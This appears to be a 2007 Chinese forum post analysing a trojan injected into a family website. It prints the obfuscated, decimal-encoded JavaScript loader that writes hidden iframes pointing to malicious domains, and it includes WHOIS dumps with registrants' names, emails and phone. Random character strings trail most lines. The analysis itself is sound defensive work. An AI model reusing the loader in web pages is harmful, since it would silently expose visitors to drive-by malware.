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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, +2Ql~w@$^l  
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http://www.areway.cn/?p=175 E=k w)<X2  
)v1CC..  
}/p/pVz  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: \TUE<<?1s  
          ?+Q$#pb  
<script>t=’60,105,102,114,97,109,101, sB6dp D  
32,115,114,99,61,104,116,116,112,58,47,47, ~:EW>Fq%i  
102,114,101,101,46,117,45,117,117,117,46,99, +#s;yc#=2  
110,47,101,114,114,111,114,46,104,116,109, f;wc{qy  
32,119,105,100,116,104,61,49,48,48,32,104, D%U:!|G  
101,105,103,104,116,61,48,62,60,47,105,102, YjLe(+ WQ  
114,97,109,101,62′; q@kOTkHv)  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> /EU ; ?O  
                                                                                                  .=XD)>$  
<script>t=’60,105,102,114,97,109,101,32,115, 7)J6/('  
114,99,61,104,116,116,112,58,47,47,102,114, 4\6: \  
101,101,46,117,45,117,117,117,46,99,110,47, q^*6C[G B  
101,114,114,111,114,46,104,116,109,32,119, E/mw* c^  
105,100,116,104,61,49,48,48,32,104,101,105, i3PKqlp.  
103,104,116,61,48,62,60,47,105,102,114,97, 2tf6GX:  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); xnbsg!`;7W  
document.write(t);</script> g~ !$i`_b  
                                                                                                  vCb]%sd-U  
<html xmlns=” q}wj}t#  
http://www.w3.org/1999/xhtml {6O0.}q]&  
“> )o jDRJ&  
<head> hwVAXsF~  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –>  rN"Xz  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> P'tMu6+)  
<title>首页 - 爱生活家庭网 *d>vR1  
                                                                                                                                                    eh<rRx"[  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ]*;F. pZ  
转换字符串后的大概内容是(谁点击后果自付): =VSkl;(O  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… O R #7"  
                                                                                                                                  V7C1FV2  
查询玉米u-uuu.cn的详细信息: :6lwO%=F  
Domain Name: u-uuu.cn v"RiPHLT  
ROID: 20070901s10001s64972306-cn k|FSz#Y  
Domain Status: ok Uo6(|mm  
Registrant Organization: 王雷 DMd ,8W7a  
Registrant Name: 王雷 *Hs*,}MS  
Administrative Email: czlovexs@126.com e g3L:rk_  
Sponsoring Registrar: 北京万网志成科技有限公司 2+'|kt2  
Name Server:ns.yovole.com ,J(lJ,c  
Name Server:ns1.yovole.com 2*u.3,aW  
Registration Date: 2007-09-01 17:54 hD q2-X}  
Expiration Date: 2008-09-01 17:54 `*yAiv>  
最后PING了一下地址 都没有什么…. .X'< D*  
                                                                                                }fA;7GW+9  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ?z=\Ye5x  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 3taa^e.  
<script language=”javascript” src=” 3SNL5  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script K\&o2lo]  
> 1b3(  
这个玉米应该有可能是木马作者的: iF9_b  
foafau.info的详细信息: B1$ikY  
Access to INFO WHOIS information is provided to assist persons in vv.PF~:  
determining the contents of a domain name registration record in the hCC}d0gf`n  
Afilias registry database. The data in this record is provided by |pW\Ec#(  
Afilias Limited for informational purposes only, and Afilias does not jPk c3dG +  
guarantee its accuracy.  This service is intended only for query-based vZkXt!%)  
access. You agree that you will use this data only for lawful purposes A-wRah.M  
and that, under no circumstances will you use this data to: (a) allow, [w+Q^\%bN  
enable, or otherwise support the transmission by e-mail, telephone, or hNbIpi=  
facsimile of mass unsolicited, commercial advertising or solicitations PAZ$_eSK6  
to entities other than the data recipient’s own existing customers; or V=}1[^  
(b) enable high volume, automated, electronic processes that send ~R.dPUr  
queries or data to the systems of Registry Operator, a Registrar, or eko]H!Ov(  
Afilias except as reasonably necessary to register domain names or tln1eN((q  
modify existing registrations. All rights reserved. Afilias reserves IU!Ht>  
the right to modify these terms at any time. By submitting this query, kus}W  J  
you agree to abide by this policy. `,Orf ZMb  
Domain ID:D22418703-LRMS 64U6C*w+  
Domain Name:FOAFAU.INFO >85zQ 1aL  
Created On:20-Nov-2007 16:05:42 UTC ?QpNjsF  
Last Updated On:20-Nov-2007 16:05:44 UTC HY)ESU !  
Expiration Date:20-Nov-2008 16:05:42 UTC mqFq_UX/ T  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) s[AA7>]3  
Status:CLIENT DELETE PROHIBITED 1R*=.i%W  
Status:CLIENT RENEW PROHIBITED 6D/'`  
Status:CLIENT TRANSFER PROHIBITED Hk;-5A|9  
Status:CLIENT UPDATE PROHIBITED q`Q}yE> 9  
Status:TRANSFER PROHIBITED Y~qb;N\  
Registrant ID:GODA-040110615 \VN=Ef\E  
Registrant Name:liu hong &q>zR6jne  
Registrant Organization: |LmSWy*7  
Registrant Street1:beijing ^8K/xo-  
Registrant Street2: H+l,)Se  
Registrant Street3:  t;47(U  
Registrant City:beijing #C*&R>IvY  
Registrant State/Province: ]ii+S"U3  
Registrant Postal Code:100000 S%l:kKD  
Registrant Country:CN R1%y]]*-P  
Registrant Phone:+86.860108888777 >ttuum12w  
Registrant Phone Ext.: Acu@[ I^  
Registrant FAX: yn~P{}68  
Registrant FAX Ext.: 1`-r#-MGG  
Registrant Email:bbbshiji@163.com u^4h&fL  
Admin ID:GODA-240110615 lTz6"/  
Admin Name:liu hong B9M>e'H%<  
Admin Organization: nPA@h  
Admin Street1:beijing N:W9},  
Admin Street2:  >eS$  
Admin Street3: }htPTOy5  
Admin City:beijing T20VX 8gX  
Admin State/Province: 7SS07$B  
Admin Postal Code:100000 ^}>/n. %  
Admin Country:CN zY%. Rq-  
Admin Phone:+86.860108888777 g1|w?pI1  
Admin Phone Ext.: 3M<!?%v\A  
Admin FAX: (E!!pz  
Admin FAX Ext.: Z'M`}3O  
Admin Email:bbbshiji@163.com YYUe)j{T  
Billing ID:GODA-340110615 #Ufo)\x  
Billing Name:liu hong )^/0cQcJ  
Billing Organization: fgCT!s7z  
Billing Street1:beijing =~|:t&v=c  
Billing Street2: {THqz$KN  
Billing Street3: |y1;&<  
Billing City:beijing Vb)zZ^va+  
Billing State/Province: : F9|&q-W,  
Billing Postal Code:100000 6 bO;&  
Billing Country:CN !'W-6f  
Billing Phone:+86.860108888777  CL3xg)x6  
Billing Phone Ext.: ;pZ[|  
Billing FAX: 3QCVgo i\  
Billing FAX Ext.: bd \=h1  
Billing Email:bbbshiji@163.com MR;X&Up6!  
Tech ID:GODA-140110615 ([LIjaoi  
Tech Name:liu hong b{&FuvQg2  
Tech Organization: -cfx2;68  
Tech Street1:beijing MCYl{uH!  
Tech Street2: rC }}r!!  
Tech Street3: (vyz;Ob  
Tech City:beijing ` }8&E(<  
Tech State/Province: geGeZ5+B  
Tech Postal Code:100000 r<yhI>>;<  
Tech Country:CN 8MF2K6  
Tech Phone:+86.860108888777 fN[8N$1-  
Tech Phone Ext.: (:sZ b?*  
Tech FAX: U Cb02h  
Tech FAX Ext.: b^Cfhy^RTq  
Tech Email:bbbshiji@163.com OhwF )p=  
Name Server:NS27.DOMAINCONTROL.COM <avQR9'&  
Name Server:NS28.DOMAINCONTROL.COM 5H !y46z  
Name Server: Tr.hmGU  
Name Server: >K:u ?YD[  
Name Server: 4#BRx#\O  
Name Server: !%S4 n  
Name Server: }ug xN0  
Name Server: !j^&gRH  
Name Server: bFGDgwe z  
Name Server: Qv{,wytyO  
Name Server: f/ahwz  
Name Server: "J19*<~  
Name Server: _\zQ"y|G  
                                                                                                          `W5-.Tv  
接着下载每个文件里面的代码: a5?8QAO~r  
一步一步看.. @d&H]5  
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# c Fr   
TFH&(_b  
4gZ &^y'  
OW5t[~y]  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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